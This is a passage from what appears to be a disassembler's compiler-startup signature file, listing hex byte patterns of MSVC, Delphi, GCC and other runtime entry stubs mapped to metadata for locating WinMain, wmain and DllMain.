0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+139^/_wmain 366 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+164^/_wmain 367 | 368 | Pattern: 558BEC6AFF68........68........64A1........50648925........81EC68 369 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+14E^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 370 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+178^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 371 | 372 | Pattern: 558BEC6AFF68........68........64A1........50648925........81ECA8 373 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+13A^/ 374 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+165^/ 375 | 376 | Pattern: 558BEC6AFF68........68........64A1........50648925........81ECE8 377 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+14F^[_WinMain@16]~msmfc2/~@vc32mfc@; 378 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+179^[_WinMain@16]~msmfc2/~@vc32mfc@; 379 | 380 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C480 381 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+1ED^[_WinMain@16]~msmfc2/~@vc32mfc@; 382 | 383 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C484 384 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+1EC^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 385 | 386 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C488 387 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+1C6^[_WinMain@16]~msmfc2/~@vc32mfc@; 388 | 389 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C490 390 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+18E^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 391 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+18F^[_WinMain@16]~msmfc2/~@vc32mfc@; 392 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+1A1^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 393 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+1A2^[_WinMain@16]~msmfc2/~@vc32mfc@; 394 | 395 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C494 396 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+1AE^[_WinMain@16]~msmfc2/~@vc32mfc@; 397 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+1CC^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 398 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1AF^[_WinMain@16]~msmfc2/~@vc32mfc@; 399 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1CD^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 400 | 401 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C498 402 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+151^[_WinMain@16]~msmfc2/~@vc32mfc@; 403 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+179^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 404 | 405 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4A4 406 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+10D^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 407 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+10E^[_WinMain@16]~msmfc2/~@vc32mfc@; 408 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+120^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 409 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+121^[_WinMain@16]~msmfc2/~@vc32mfc@; 410 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1AB^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 411 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1BE^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 412 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1C7^[_WinMain@16]~msmfc2/~@vc32mfc@; 413 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1DA^[_WinMain@16]~msmfc2/~@vc32mfc@; 414 | 415 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4A8 416 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+12D^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 417 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+13A^[_WinMain@16]~msmfc2/~@vc32mfc@; 418 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+140^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 419 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+14D^[_WinMain@16]~msmfc2/~@vc32mfc@; 420 | 421 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4D8 422 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+127(-17!&~-/__p___winitenv~)??^/_wmain;^/ 423 | 424 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4DC 425 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+114(-17!&~-/__p___winitenv~)??^/_wmain;^/ 426 | 427 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4E0 428 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+FA(-17!&~-/__p___winitenv~)??^/_wmain;^/ 429 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+FA(-17!&~-/__p___winitenv~)??^/_wmain;^/ 430 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+FA(-17!&~-/__p___winitenv~)??^/_wmain;^/ 431 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+16A^/_wmain 432 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+16B^/ 433 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+17D^/_wmain 434 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+17E^/ 435 | 436 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4E4 437 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+C5^[_DllMain@12]~msmfc2d/~@vc32mfc@; 438 | 439 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4E8 440 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+B6^[_DllMain@12]~msmfc2d/~@vc32mfc@; 441 | 442 | Pattern: 558BEC6AFF68........68........64A1........50648925........83C4F0 443 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+E3^/_wmain 444 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+E4^/ 445 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+F6^/_wmain 446 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+F7^/ 447 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+100^/ 448 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+10D^/_wmain 449 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+113^/ 450 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+C9^/_wmain 451 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+CE^/ 452 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+DC^/_wmain 453 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+E1^/ 454 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+FA^/_wmain 455 | 456 | Pattern: 558BEC6AFF68........68........64A1........50648925........83EC08 457 | 0000:o=2:a=104:sm32rw32:l=mv32mfc:m=+69^/ 458 | 0000:o=2:a=104:sm32rw32:l=mv32mfc:m=+6F^/_WinMain@16 459 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+100^/_wmain 460 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+105^/_wmain 461 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+106^/ 462 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+10B^/ 463 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+10E(-1D!&~-/__p___winitenv~)??^/_wmain;^/ 464 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+10E(-1D!&~-/__p___winitenv~)??^/_wmain;^/ 465 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+117^/_wmain 466 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+11D^/ 467 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1B8^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 468 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1CA^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 469 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1CE^[_WinMain@16]~msmfc2/~@vc32mfc@; 470 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1CF^[_WinMain@16]~msmfc2/~@vc32mfc@; 471 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1CF^[_WinMain@16]~msmfc2/~@vc32mfc@; 472 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1CF^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 473 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1E0^[_WinMain@16]~msmfc2/~@vc32mfc@; 474 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1E1^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 475 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1E5^[_WinMain@16]~msmfc2/~@vc32mfc@; 476 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1F5^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 477 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1F5^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 478 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+1F7^[_WinMain@16]~msmfc2/~@vc32mfc@; 479 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+EE^/_wmain 480 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+F4^/ 481 | 482 | Pattern: 558BEC6AFF68........68........64A1........50648925........83EC10 483 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+AE^/_wmain 484 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+AF^/ 485 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+BF^/_wmain 486 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+C0^/ 487 | 488 | Pattern: 558BEC6AFF68........68........64A1........50648925........83EC20 489 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+DE(-14!&~-/__p___winitenv~)??^/_wmain;^/ 490 | 491 | Pattern: 558BEC6AFF68........68........64A1........50648925........83EC24 492 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+123(-14!&~-/__p___winitenv~)??^/_wmain;^/ 493 | 494 | Pattern: 558BEC6AFF68........68........64A1........50648925........83EC58 495 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+C8^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 496 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+C9^[_WinMain@16]~msmfc2/~@vc32mfc@; 497 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+DA^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 498 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+DB^[_WinMain@16]~msmfc2/~@vc32mfc@; 499 | 500 | Pattern: 558BEC6AFF68........68........64A1........50648925........83EC64 501 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+166^[_WinMain@16]~msmfc2/~@vc32mfc@; 502 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+18A^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 503 | 504 | Pattern: 558BEC6AFF68........68........64A1........50648925........83EC68 505 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+12F^[_WinMain@16]~msmfc2/~@vc32mfc@; 506 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+156^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 507 | 508 | Pattern: 558BEC83....B8........E8 509 | 0000:o=2:a=10C:s=B/- 510 | 511 | Pattern: 558BEC83....E8 512 | 0000:o=2:a=10C:s=6/- 513 | 514 | Pattern: 558BEC837D0C017505E8........8B4510508B4D0C518B550852E8........83 515 | 0000:s=1A/- 516 | 517 | Pattern: 558BEC837D0C017505E8........FF7510FF750CFF7508E8........83C40C5D 518 | 0000:s=17/- 519 | 520 | Pattern: 558BEC83C4C4B8........E8 521 | 0000:o=2:a=0:i=bds.idc:s=b/- 522 | 523 | Pattern: 558BEC83C4F0A1........C60001B8........E8 524 | 0000:o=2:a=0:i=bds.idc:s=13/- 525 | 526 | Pattern: 558BEC83C4F0B8........E8 527 | 0000:o=2:a=0:i=bds.idc:s=b/- 528 | 529 | Pattern: 558BEC83C4F4B8........E8 530 | 0000:o=2:a=0:i=bds.idc:s=b/- 531 | 532 | Pattern: 558BEC83EC04535657C745FC01000000837D0C000F8514000000833D 533 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+98^[_DllMain@12]~msmfc2d/~@vc32mfc@; 534 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+9F^[_DllMain@12]~msmfc2d/~@vc32mfc@; 535 | 536 | Pattern: 558BEC83EC04535657C745FC01000000837D0C010F850B000000FF05 537 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+B8^[_DllMain@12]~msmfc2d/~@vc32mfc@; 538 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+B8^[_DllMain@12]~msmfc2d/~@vc32mfc@; 539 | 540 | Pattern: 558BEC83EC08837D08000F85BA000000E8........A3........A1........89 541 | -0110:___PosixSetUnhandledExceptionFilter -0100:__mainCRTStartup -0060:___PosixUnhandledExceptionFilter -0040:_RaiseException@16 -0030:__fptrap 0000:o=20:a=104:win32unx:m=+175^+50^/ 0180:_posix_argv0 0240:_setup_progname 0290:_LoadLdDotSoIfRequired 0500:___MixedModeProcessStartup 05F0:_setargv 0760:_wparse_cmdline 542 | -0090:__mainCRTStartup -0040:__RaiseException@16 -0030:__fptrap 0000:o=20:a=104:win32unx:m=+166^+27^/ 0170:_posix_argv0 0230:_setup_progname 0280:_LoadLdDotSoIfRequired 04F0:@__security_check_cookie@4 0500:___MixedModeProcessStartup 05E0:_setargv 0750:_wparse_cmdline 543 | 544 | Pattern: 558BEC83EC08E8........0FB7C08945FCE8........8945F88B4DFC518B55F8 545 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+28(-D!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 546 | 547 | Pattern: 558BEC83EC08E8........A3........A1........8945F8C705........0000 548 | -0090:__mainCRTStartup -0040:__RaiseException@16 -0030:__fptrap 0000:o=20:a=104:win32unx:m=+ED^+27^/ 0100:_posix_argv0 01C0:_setup_progname 0210:___MixedModeProcessStartup 02D0:_setargv 0440:_wparse_cmdline 549 | 550 | Pattern: 558BEC83EC0CE8........8945FCE8........8B008945F8E8........8B0889 551 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+2E(-16!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 552 | 553 | Pattern: 558BEC83EC24E8........8945FC837DFCFF750EA1........50E8........83 554 | -0610:___PosixSetUnhandledExceptionFilter -0600:__mainCRTStartup -0560:___PosixUnhandledExceptionFilter -0540:_RaiseException@16 -0530:__fptrap -0500:___PosixProcessStartup -0380:_posix_argv0 -02C0:_setup_progname -0270:_LoadLdDotSoIfRequired 0000:o=20:a=104:win32unx:m=+E4^+50^/ 00F0:_setargv 0260:_wparse_cmdline 555 | -0590:__mainCRTStartup -0540:__RaiseException@16 -0530:__fptrap -0500:___PosixProcessStartup -0390:_posix_argv0 -02D0:_setup_progname -0280:_LoadLdDotSoIfRequired -0010:@__security_check_cookie@4 0000:o=20:a=104:win32unx:m=+D5^+27^/ 00E0:_setargv 0250:_wparse_cmdline 556 | -02A0:__mainCRTStartup -0250:__RaiseException@16 -0240:__fptrap -0210:___PosixProcessStartup -0110:_posix_argv0 -0050:_setup_progname 0000:o=20:a=104:win32unx:m=+AF^+27^/ 00C0:_setargv 0230:_wparse_cmdline 557 | 558 | Pattern: 558BECE8........0FB7C050E8........506A0068........E8........5DC3 559 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+19(-D!&~-/__get_wide_winmain_command_line~)??^[_wWinMain@16]~msmfc2u/~@vc32mfc@;^[_WinMain@16]~msmfc2/~@vc32mfc@ 560 | 561 | Pattern: 558BECE8........50E8........8B0050E8........8B0851E8........83C4 562 | 0000:o=2:a=104:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+19(-16!&~-/__get_initial_wide_environment~)??^/_wmain;^/ 563 | 564 | Pattern: 558BECE8........5DC3 565 | 0000:s=3/- 566 | 567 | Pattern: 558BECE8........E8........5DC3 568 | 0000:s=8/- 569 | 570 | Pattern: 55B81000000089E55383EC6483E4F0E8........E8........E8........89C3 571 | 0000:m=+105^/_WinMain@16 572 | 573 | Pattern: 57565383EC108B5C24248B7424208B7C242883FB017439893424897C2408895C 574 | 0000:o=2:a=108:c=g:gcc32rtf:m=+22^/_DllMain@12; 575 | 576 | Pattern: 648B15........558BEC6AFF68........68........52648925........83EC 577 | 0000:o=2:a=104:dm32rw32:m=+A0^/_WinMain@16 578 | 0000:o=2:a=104:dm32rw32:m=+A1^/_wWinMain@16 579 | 0000:o=2:a=104:dm32rw32:m=+A4^/ 580 | 0000:o=2:a=104:dm32rw32:m=+A5^/_wmain 581 | 582 | Pattern: 64A1........558BEC6AFF68........68........50648925........83EC10 583 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+B9^/_wmain 584 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+BF^/ 585 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+C7^/_wmain 586 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+CC^/_wmain 587 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+CD^/ 588 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+D2^/ 589 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+DA^/_wmain 590 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+E0^/ 591 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+A6^/_wmain 592 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+AD^/ 593 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+B9^/_wmain 594 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+C0^/ 595 | 596 | Pattern: 64A1........558BEC6AFF68........68........50648925........83EC28 597 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+CC(-14!&~-/__p___winitenv~)??^/_wmain;^/ 598 | 599 | Pattern: 64A1........558BEC6AFF68........68........50648925........83EC2C 600 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+F7(-17!&~-/__p___winitenv~)??^/_wmain;^/ 601 | 602 | Pattern: 64A1........558BEC6AFF68........68........50648925........83EC60 603 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+130^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 604 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+138^[_WinMain@16]~msmfc2/~@vc32mfc@; 605 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+13E^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 606 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+143^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 607 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+146^[_WinMain@16]~msmfc2/~@vc32mfc@; 608 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+14B^[_WinMain@16]~msmfc2/~@vc32mfc@; 609 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+151^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 610 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+159^[_WinMain@16]~msmfc2/~@vc32mfc@; 611 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+115^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 612 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+11D^[_WinMain@16]~msmfc2/~@vc32mfc@; 613 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+128^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 614 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+130^[_WinMain@16]~msmfc2/~@vc32mfc@; 615 | 616 | Pattern: 64A1........558BEC6AFF68........68........50648925........83EC74 617 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+126^[_WinMain@16]~msmfc2/~@vc32mfc@; 618 | 0000:o=2:a=104:vc32rtf:l=vc32mfc:m=+14B^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 619 | 620 | Pattern: 64A1........558BEC6AFF68........68........50648925........83EC78 621 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+152^[_WinMain@16]~msmfc2/~@vc32mfc@; 622 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+176^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 623 | 624 | Pattern: 6A006A0268........68........68........FF25 625 | 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe 626 | 627 | Pattern: 6A0C68........E8........33C0408945E433FF897DFC8B750C3BF7750C393D 628 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+6C^[_DllMain@12]~msmfc2d/~@vc32mfc@; 629 | 630 | Pattern: 6A0C68........E8........33C0408945E48B750C33FF3BF7750C393D 631 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+6C^[_DllMain@12]~msmfc2d/~@vc32mfc@; 632 | 633 | Pattern: 6A0C68........E8........33C0408B750C85F6750C3935........0F84E400 634 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+6D^[_DllMain@12]~msmfc2d/~@vc32mfc@; 635 | 636 | Pattern: 6A0C68........E8........33DB895DFC64A1180000008B50048BFBBE 637 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+F8(-19!&~-/__winitenv~)??^/_wmain;^/ 638 | 639 | Pattern: 6A0C68........E8........8365FC008B7D0C83FF01740A83FF0274058B5D08 640 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+64^[_DllMain@12]~msmfc2d/~@vc32mfc@; 641 | 642 | Pattern: 6A0C68........E8........8B7D0C85FF750F393D........7F0733C0E9D400 643 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+6B^[_DllMain@12]~msmfc2d/~@vc32mfc@; 644 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+6B^[_DllMain@12]~msmfc2d/~@vc32mfc@; 645 | 646 | Pattern: 6A0C68........E8........8B7D0C85FF750F393D........7F0733C0E9D900 647 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+6B^[_DllMain@12]~msmfc2d/~@vc32mfc@; 648 | 649 | Pattern: 6A0C68........E8........8B7D0C85FF750F393D........7F0733C0E9DA00 650 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+6B^[_DllMain@12]~msmfc2d/~@vc32mfc@; 651 | 652 | Pattern: 6A0C68........E8........8B7D0C85FF750F393D........7F0733C0E9F400 653 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+77^[_DllMain@12]~msmfc2d/~@vc32mfc@; 654 | 655 | Pattern: 6A0C68........E8........8BF98BF28B5D0833C0408945E485F6750C3915 656 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+67^[_DllMain@12]~msmfc2d/~@vc32mfc@; 657 | 658 | Pattern: 6A1068........E8........33C0408BF08975E433DB895DFC8B7D0C893D 659 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+7D^[_DllMain@12]~msmfc2d/~@vc32mfc@; 660 | 661 | Pattern: 6A1068........E8........33DB391D........750B53536A0153FF15 662 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+11D(-1A!&~-/__winitenv~)??^/_wmain;^/ 663 | 664 | Pattern: 6A1068........E8........33DB895DFC64A1180000008B7004895DE4BF 665 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+10A(-1A!&~-/__winitenv~)??^/_wmain;^/ 666 | 667 | Pattern: 6A1068........E8........8B7D0C85FF750F393D........7F0733C0E90B01 668 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+80^[_DllMain@12]~msmfc2d/~@vc32mfc@; 669 | 670 | Pattern: 6A1068........E8........8B7D0C85FF750F393D........7F0733C0E90E01 671 | 